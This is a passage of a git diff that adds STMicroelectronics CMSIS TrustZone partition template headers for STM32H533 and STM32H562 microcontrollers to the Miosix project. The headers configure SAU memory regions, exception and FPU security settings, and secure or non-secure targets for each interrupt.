<0=> Secure state <1=> Non-Secure state +// TIM1_CC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM3_IRQn <0=> Secure state <1=> Non-Secure state +// TIM4_IRQn <0=> Secure state <1=> Non-Secure state +// TIM5_IRQn <0=> Secure state <1=> Non-Secure state +// TIM6_IRQn <0=> Secure state <1=> Non-Secure state +// TIM7_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SPI2_IRQn <0=> Secure state <1=> Non-Secure state +// SPI3_IRQn <0=> Secure state <1=> Non-Secure state +// USART1_IRQn <0=> Secure state <1=> Non-Secure state +// USART2_IRQn <0=> Secure state <1=> Non-Secure state +// USART3_IRQn <0=> Secure state <1=> Non-Secure state +// UART4_IRQn <0=> Secure state <1=> Non-Secure state +// UART5_IRQn <0=> Secure state <1=> Non-Secure state +// LPUART1_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS1_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 2 (Interrupts 64..95) +*/ +#define NVIC_INIT_ITNS2 1 + +/* +// Interrupts 64..95 +// LPTIM1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_CC_IRQn <0=> Secure state <1=> Non-Secure state +// ADC2_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM15_IRQn <0=> Secure state <1=> Non-Secure state +// USB_DRD_FS_IRQn <0=> Secure state <1=> Non-Secure state +// CRS_IRQn <0=> Secure state <1=> Non-Secure state +// UCPD1_IRQn <0=> Secure state <1=> Non-Secure state +// FMC_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC1_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI4_IRQn <0=> Secure state <1=> Non-Secure state +// USART6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS2_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 3 (Interrupts 96..127) +*/ +#define NVIC_INIT_ITNS3 1 + +/* +// Interrupts 96..124 +// GPDMA2_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// FPU_IRQn <0=> Secure state <1=> Non-Secure state +// ICACHE_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE_IRQn <0=> Secure state <1=> Non-Secure state +// DCMI_PSSI_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN2_IT0_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN2_IT1_IRQn <0=> Secure state <1=> Non-Secure state +// DTS_IRQn <0=> Secure state <1=> Non-Secure state +// RNG_IRQn <0=> Secure state <1=> Non-Secure state +// OTFDEC1_IRQn <0=> Secure state <1=> Non-Secure state +// AES_IRQn <0=> Secure state <1=> Non-Secure state +// HASH_IRQn <0=> Secure state <1=> Non-Secure state +// PKA_IRQn <0=> Secure state <1=> Non-Secure state +// CEC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM12_IRQn <0=> Secure state <1=> Non-Secure state +// I3C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I3C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS3_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 4 (Interrupts 131..132) +*/ +#define NVIC_INIT_ITNS4 1 + +/* +// Interrupts 131..132 +// I3C2_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I3C2_ER_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS4_VAL 0x00000000 + +/* +// +*/ + +/* +// +*/ + +/* + max 8 SAU regions. + SAU regions are defined in partition.h + */ + +#define SAU_INIT_REGION(n) \ + SAU->RNR = (n & SAU_RNR_REGION_Msk); \ + SAU->RBAR = (SAU_INIT_START##n & SAU_RBAR_BADDR_Msk); \ + SAU->RLAR = (SAU_INIT_END##n & SAU_RLAR_LADDR_Msk) | \ + ((SAU_INIT_NSC##n << SAU_RLAR_NSC_Pos) & SAU_RLAR_NSC_Msk) | 1U + +/** + \brief Setup a SAU Region + \details Writes the region information contained in SAU_Region to the + registers SAU_RNR, SAU_RBAR, and SAU_RLAR + */ +__STATIC_INLINE void TZ_SAU_Setup (void) +{ + +#if defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) + + #if defined (SAU_INIT_REGION0) && (SAU_INIT_REGION0 == 1U) + SAU_INIT_REGION(0); + #endif + + #if defined (SAU_INIT_REGION1) && (SAU_INIT_REGION1 == 1U) + SAU_INIT_REGION(1); + #endif + + #if defined (SAU_INIT_REGION2) && (SAU_INIT_REGION2 == 1U) + SAU_INIT_REGION(2); + #endif + + #if defined (SAU_INIT_REGION3) && (SAU_INIT_REGION3 == 1U) + SAU_INIT_REGION(3); + #endif + + #if defined (SAU_INIT_REGION4) && (SAU_INIT_REGION4 == 1U) + SAU_INIT_REGION(4); + #endif + + #if defined (SAU_INIT_REGION5) && (SAU_INIT_REGION5 == 1U) + SAU_INIT_REGION(5); + #endif + + #if defined (SAU_INIT_REGION6) && (SAU_INIT_REGION6 == 1U) + SAU_INIT_REGION(6); + #endif + + #if defined (SAU_INIT_REGION7) && (SAU_INIT_REGION7 == 1U) + SAU_INIT_REGION(7); + #endif + + /* repeat this for all possible SAU regions */ + +#endif /* defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) */ + + + #if defined (SAU_INIT_CTRL) && (SAU_INIT_CTRL == 1U) + SAU->CTRL = ((SAU_INIT_CTRL_ENABLE << SAU_CTRL_ENABLE_Pos) & SAU_CTRL_ENABLE_Msk) | + ((SAU_INIT_CTRL_ALLNS << SAU_CTRL_ALLNS_Pos) & SAU_CTRL_ALLNS_Msk) ; + #endif + + #if defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) + SCB->SCR = (SCB->SCR & ~(SCB_SCR_SLEEPDEEPS_Msk )) | + ((SCB_CSR_DEEPSLEEPS_VAL << SCB_SCR_SLEEPDEEPS_Pos) & SCB_SCR_SLEEPDEEPS_Msk); + + SCB->AIRCR = (SCB->AIRCR & ~(SCB_AIRCR_VECTKEY_Msk | SCB_AIRCR_SYSRESETREQS_Msk | + SCB_AIRCR_BFHFNMINS_Msk | SCB_AIRCR_PRIS_Msk) ) | + ((0x05FAU << SCB_AIRCR_VECTKEY_Pos) & SCB_AIRCR_VECTKEY_Msk) | + ((SCB_AIRCR_SYSRESETREQS_VAL << SCB_AIRCR_SYSRESETREQS_Pos) & SCB_AIRCR_SYSRESETREQS_Msk) | + ((SCB_AIRCR_PRIS_VAL << SCB_AIRCR_PRIS_Pos) & SCB_AIRCR_PRIS_Msk) | + ((SCB_AIRCR_BFHFNMINS_VAL << SCB_AIRCR_BFHFNMINS_Pos) & SCB_AIRCR_BFHFNMINS_Msk); + #endif /* defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) */ + + #if defined (__FPU_USED) && (__FPU_USED == 1U) && \ + defined (TZ_FPU_NS_USAGE) && (TZ_FPU_NS_USAGE == 1U) + + SCB->NSACR = (SCB->NSACR & ~(SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)) | + ((SCB_NSACR_CP10_11_VAL << SCB_NSACR_CP10_Pos) & (SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)); + + FPU->FPCCR = (FPU->FPCCR & ~(FPU_FPCCR_TS_Msk | FPU_FPCCR_CLRONRETS_Msk | FPU_FPCCR_CLRONRET_Msk)) | + ((FPU_FPCCR_TS_VAL << FPU_FPCCR_TS_Pos ) & FPU_FPCCR_TS_Msk ) | + ((FPU_FPCCR_CLRONRETS_VAL << FPU_FPCCR_CLRONRETS_Pos) & FPU_FPCCR_CLRONRETS_Msk) | + ((FPU_FPCCR_CLRONRET_VAL << FPU_FPCCR_CLRONRET_Pos ) & FPU_FPCCR_CLRONRET_Msk ); + #endif + + #if defined (NVIC_INIT_ITNS0) && (NVIC_INIT_ITNS0 == 1U) + NVIC->ITNS[0] = NVIC_INIT_ITNS0_VAL; + #endif + + #if defined (NVIC_INIT_ITNS1) && (NVIC_INIT_ITNS1 == 1U) + NVIC->ITNS[1] = NVIC_INIT_ITNS1_VAL; + #endif + + #if defined (NVIC_INIT_ITNS2) && (NVIC_INIT_ITNS2 == 1U) + NVIC->ITNS[2] = NVIC_INIT_ITNS2_VAL; + #endif + + #if defined (NVIC_INIT_ITNS3) && (NVIC_INIT_ITNS3 == 1U) + NVIC->ITNS[3] = NVIC_INIT_ITNS3_VAL; + #endif + + #if defined (NVIC_INIT_ITNS4) && (NVIC_INIT_ITNS4 == 1U) + NVIC->ITNS[4] = NVIC_INIT_ITNS4_VAL; + #endif + +} + +#endif /* PARTITION_STM32H533XX_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/Templates/partition_stm32h562xx.h b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/Templates/partition_stm32h562xx.h new file mode 100644 index 000000000..2ccd25022 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/Templates/partition_stm32h562xx.h @@ -0,0 +1,678 @@ +/** + ****************************************************************************** + * @file partition_stm32h562xx.h + * @author MCD Application Team + * @brief CMSIS STM32H562xx Device Header File for Initial Setup for Secure / + * Non-Secure Zones for ARMCM33 based on CMSIS CORE partition_ARMCM33.h + * Template. + * + * This file contains: + * - Initialize Security Attribution Unit (SAU) CTRL register + * - Setup behavior of Sleep and Exception Handling + * - Setup behavior of Floating Point Unit + * - Setup Interrupt Target + * + ****************************************************************************** + * Copyright (c) 2009-2019 Arm Limited. All rights reserved. + * Copyright (c) 2023 STMicroelectronics. All rights reserved. + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the License); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an AS IS BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ****************************************************************************** + */ + +#ifndef PARTITION_STM32H562XX_H +#define PARTITION_STM32H562XX_H + +/* +//-------- <<< Use Configuration Wizard in Context Menu >>> ----------------- +*/ + +/* +// Initialize Security Attribution Unit (SAU) CTRL register +*/ +#define SAU_INIT_CTRL 1 + +/* +// Enable SAU +// Value for SAU->CTRL register bit ENABLE +*/ +#define SAU_INIT_CTRL_ENABLE 0 + +/* +// When SAU is disabled +// <0=> All Memory is Secure +// <1=> All Memory is Non-Secure +// Value for SAU->CTRL register bit ALLNS +// When all Memory is Non-Secure (ALLNS is 1), IDAU can override memory map configuration. +*/ +#define SAU_INIT_CTRL_ALLNS 1 + +/* +// +*/ + +/* +// Initialize Security Attribution Unit (SAU) Address Regions +// SAU configuration specifies regions to be one of: +// - Secure and Non-Secure Callable +// - Non-Secure +// Note: All memory regions not configured by SAU are Secure +*/ +#define SAU_REGIONS_MAX 8 /* Max. number of SAU regions */ + +/* +// Initialize SAU Region 0 +// Setup SAU Region 0 memory attributes +*/ +#define SAU_INIT_REGION0 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START0 0x0C0FE000 /* start address of SAU region 0 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END0 0x0C0FFFFF /* end address of SAU region 0 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC0 1 +/* +// +*/ + +/* +// Initialize SAU Region 1 +// Setup SAU Region 1 memory attributes +*/ +#define SAU_INIT_REGION1 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START1 0x08100000 /* start address of SAU region 1 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END1 0x081FFFFF /* end address of SAU region 1 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC1 0 +/* +// +*/ + +/* +// Initialize SAU Region 2 +// Setup SAU Region 2 memory attributes +*/ +#define SAU_INIT_REGION2 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START2 0x20050000 /* start address of SAU region 2 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END2 0x2009FFFF /* end address of SAU region 2 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC2 0 +/* +// +*/ + +/* +// Initialize SAU Region 3 +// Setup SAU Region 3 memory attributes +*/ +#define SAU_INIT_REGION3 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START3 0x40000000 /* start address of SAU region 3 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END3 0x4FFFFFFF /* end address of SAU region 3 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC3 0 +/* +// +*/ + +/* +// Initialize SAU Region 4 +// Setup SAU Region 4 memory attributes +*/ +#define SAU_INIT_REGION4 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START4 0x60000000 /* start address of SAU region 4 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END4 0x9FFFFFFF /* end address of SAU region 4 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC4 0 +/* +// +*/ + +/* +// Initialize SAU Region 5 +// Setup SAU Region 5 memory attributes +*/ +#define SAU_INIT_REGION5 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START5 0x0BF90000 /* start address of SAU region 5 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END5 0x0BFA8FFF /* end address of SAU region 5 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC5 0 +/* +// +*/ + +/* +// Initialize SAU Region 6 +// Setup SAU Region 6 memory attributes +*/ +#define SAU_INIT_REGION6 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START6 0x00000000 /* start address of SAU region 6 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END6 0x00000000 /* end address of SAU region 6 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC6 0 +/* +// +*/ + +/* +// Initialize SAU Region 7 +// Setup SAU Region 7 memory attributes +*/ +#define SAU_INIT_REGION7 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START7 0x00000000 /* start address of SAU region 7 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END7 0x00000000 /* end address of SAU region 7 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC7 0 +/* +// +*/ + +/* +// +*/ + +/* +// Setup behaviour of Sleep and Exception Handling +*/ +#define SCB_CSR_AIRCR_INIT 0 + +/* +// Deep Sleep can be enabled by +// <0=>Secure and Non-Secure state +// <1=>Secure state only +// Value for SCB->CSR register bit DEEPSLEEPS +*/ +#define SCB_CSR_DEEPSLEEPS_VAL 0 + +/* +// System reset request accessible from +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for SCB->AIRCR register bit SYSRESETREQS +*/ +#define SCB_AIRCR_SYSRESETREQS_VAL 0 + +/* +// Priority of Non-Secure exceptions is +// <0=> Not altered +// <1=> Lowered to 0x04-0x07 +// Value for SCB->AIRCR register bit PRIS +*/ +#define SCB_AIRCR_PRIS_VAL 0 + +/* +// BusFault, HardFault, and NMI target +// <0=> Secure state +// <1=> Non-Secure state +// Value for SCB->AIRCR register bit BFHFNMINS +*/ +#define SCB_AIRCR_BFHFNMINS_VAL 0 + +/* +// +*/ + +/* +// Setup behaviour of Floating Point Unit +*/ +#define TZ_FPU_NS_USAGE 1 + +/* +// Floating Point Unit usage +// <0=> Secure state only +// <3=> Secure and Non-Secure state +// Value for SCB->NSACR register bits CP10, CP11 +*/ +#define SCB_NSACR_CP10_11_VAL 3 + +/* +// Treat floating-point registers as Secure +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit TS +*/ +#define FPU_FPCCR_TS_VAL 0 + +/* +// Clear on return (CLRONRET) accessibility +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for FPU->FPCCR register bit CLRONRETS +*/ +#define FPU_FPCCR_CLRONRETS_VAL 0 + +/* +// Clear floating-point caller saved registers on exception return +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit CLRONRET +*/ +#define FPU_FPCCR_CLRONRET_VAL 1 + +/* +// +*/ + +/* +// Setup Interrupt Target +*/ + +/* +// Initialize ITNS 0 (Interrupts 0..31) +*/ +#define NVIC_INIT_ITNS0 1 + +/* +// Interrupts 0..31 +// WWDG_IRQn <0=> Secure state <1=> Non-Secure state +// PVD_AVD_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_S_IRQn <0=> Secure state <1=> Non-Secure state +// TAMP_IRQn <0=> Secure state <1=> Non-Secure state +// RAMCFG_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_S_IRQn <0=> Secure state <1=> Non-Secure state +// GTZC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_S_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI0_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI1_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI2_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI3_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI4_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI5_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI6_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI7_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI8_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI9_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI10_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI11_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI12_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI13_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI14_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI15_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS0_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 1 (Interrupts 32..63) +*/ +#define NVIC_INIT_ITNS1 1 + +/* +// Interrupts 32..63 +// GPDMA1_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// IWDG_IRQn <0=> Secure state <1=> Non-Secure state +// ADC1_IRQn <0=> Secure state <1=> Non-Secure state +// DAC1_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT0_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_CC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM3_IRQn <0=> Secure state <1=> Non-Secure state +// TIM4_IRQn <0=> Secure state <1=> Non-Secure state +// TIM5_IRQn <0=> Secure state <1=> Non-Secure state +// TIM6_IRQn <0=> Secure state <1=> Non-Secure state +// TIM7_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SPI2_IRQn <0=> Secure state <1=> Non-Secure state +// SPI3_IRQn <0=> Secure state <1=> Non-Secure state +// USART1_IRQn <0=> Secure state <1=> Non-Secure state +// USART2_IRQn <0=> Secure state <1=> Non-Secure state +// USART3_IRQn <0=> Secure state <1=> Non-Secure state +// UART4_IRQn <0=> Secure state <1=> Non-Secure state +// UART5_IRQn <0=> Secure state <1=> Non-Secure state +// LPUART1_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS1_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 2 (Interrupts 64..95) +*/ +#define NVIC_INIT_ITNS2 1 + +/* +// Interrupts 64..95 +// LPTIM1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_CC_IRQn <0=> Secure state <1=> Non-Secure state +// ADC2_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM15_IRQn <0=> Secure state <1=> Non-Secure state +// TIM16_IRQn <0=> Secure state <1=> Non-Secure state +// TIM17_IRQn <0=> Secure state <1=> Non-Secure state +// USB_DRD_FS_IRQn <0=> Secure state <1=> Non-Secure state +// CRS_IRQn <0=> Secure state <1=> Non-Secure state +// UCPD1_IRQn <0=> Secure state <1=> Non-Secure state +// FMC_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC1_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI4_IRQn <0=> Secure state <1=> Non-Secure state +// SPI5_IRQn <0=> Secure state <1=> Non-Secure state +// SPI6_IRQn <0=> Secure state <1=> Non-Secure state +// USART6_IRQn <0=> Secure state <1=> Non-Secure state +// USART10_IRQn <0=> Secure state <1=> Non-Secure state +// USART11_IRQn <0=> Secure state <1=> Non-Secure state +// SAI1_IRQn <0=> Secure state <1=> Non-Secure state +// SAI2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS2_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 3 (Interrupts 96..127) +*/ +#define NVIC_INIT_ITNS3 1 + +/* +// Interrupts 96..127 +// GPDMA2_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// UART7_IRQn <0=> Secure state <1=> Non-Secure state +// UART8_IRQn <0=> Secure state <1=> Non-Secure state +// UART9_IRQn <0=> Secure state <1=> Non-Secure state +// UART12_IRQn <0=> Secure state <1=> Non-Secure state +// FPU_IRQn <0=> Secure state <1=> Non-Secure state +// ICACHE_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE_IRQn <0=> Secure state <1=> Non-Secure state +// DCMI_PSSI_IRQn <0=> Secure state <1=> Non-Secure state +// CORDIC_IRQn <0=> Secure state <1=> Non-Secure state +// FMAC_IRQn <0=> Secure state <1=> Non-Secure state +// DTS_IRQn <0=> Secure state <1=> Non-Secure state +// RNG_IRQn <0=> Secure state <1=> Non-Secure state +// HASH_IRQn <0=> Secure state <1=> Non-Secure state +// CEC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM12_IRQn <0=> Secure state <1=> Non-Secure state +// TIM13_IRQn <0=> Secure state <1=> Non-Secure state +// TIM14_IRQn <0=> Secure state <1=> Non-Secure state +// I3C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I3C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_ER_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM3_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS3_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 4 (Interrupts 128..130) +*/ +#define NVIC_INIT_ITNS4 1 + +/* +// Interrupts 128..130 +// LPTIM4_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM5_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM6_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS4_VAL 0x00000000 + +/* +// +*/ + +/* +// +*/ + +/* + max 8 SAU regions. + SAU regions are defined in partition.h + */ + +#define SAU_INIT_REGION(n) \ + SAU->RNR = (n & SAU_RNR_REGION_Msk); \ + SAU->RBAR = (SAU_INIT_START##n & SAU_RBAR_BADDR_Msk); \ + SAU->RLAR = (SAU_INIT_END##n & SAU_RLAR_LADDR_Msk) | \ + ((SAU_INIT_NSC##n << SAU_RLAR_NSC_Pos) & SAU_RLAR_NSC_Msk) | 1U + +/** + \brief Setup a SAU Region + \details Writes the region information contained in SAU_Region to the + registers SAU_RNR, SAU_RBAR, and SAU_RLAR + */ +__STATIC_INLINE void TZ_SAU_Setup (void) +{ + +#if defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) + + #if defined (SAU_INIT_REGION0) && (SAU_INIT_REGION0 == 1U) + SAU_INIT_REGION(0); + #endif + + #if defined (SAU_INIT_REGION1) && (SAU_INIT_REGION1 == 1U) + SAU_INIT_REGION(1); + #endif + + #if defined (SAU_INIT_REGION2) && (SAU_INIT_REGION2 == 1U) + SAU_INIT_REGION(2); + #endif + + #if defined (SAU_INIT_REGION3) && (SAU_INIT_REGION3 == 1U) + SAU_INIT_REGION(3); + #endif + + #if defined (SAU_INIT_REGION4) && (SAU_INIT_REGION4 == 1U) + SAU_INIT_REGION(4); + #endif + + #if defined (SAU_INIT_REGION5) && (SAU_INIT_REGION5 == 1U) + SAU_INIT_REGION(5); + #endif + + #if defined (SAU_INIT_REGION6) && (SAU_INIT_REGION6 == 1U) + SAU_INIT_REGION(6); + #endif + + #if defined (SAU_INIT_REGION7) && (SAU_INIT_REGION7 == 1U) + SAU_INIT_REGION(7); + #endif + + /* repeat this for all possible SAU regions */ + +#endif /* defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) */ + + + #if defined (SAU_INIT_CTRL) && (SAU_INIT_CTRL == 1U) + SAU->CTRL = ((SAU_INIT_CTRL_ENABLE << SAU_CTRL_ENABLE_Pos) & SAU_CTRL_ENABLE_Msk) | + ((SAU_INIT_CTRL_ALLNS << SAU_CTRL_ALLNS_Pos) & SAU_CTRL_ALLNS_Msk) ; + #endif + + #if defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) + SCB->SCR = (SCB->SCR & ~(SCB_SCR_SLEEPDEEPS_Msk )) | + ((SCB_CSR_DEEPSLEEPS_VAL << SCB_SCR_SLEEPDEEPS_Pos) & SCB_SCR_SLEEPDEEPS_Msk); + + SCB->AIRCR = (SCB->AIRCR & ~(SCB_AIRCR_VECTKEY_Msk | SCB_AIRCR_SYSRESETREQS_Msk | + 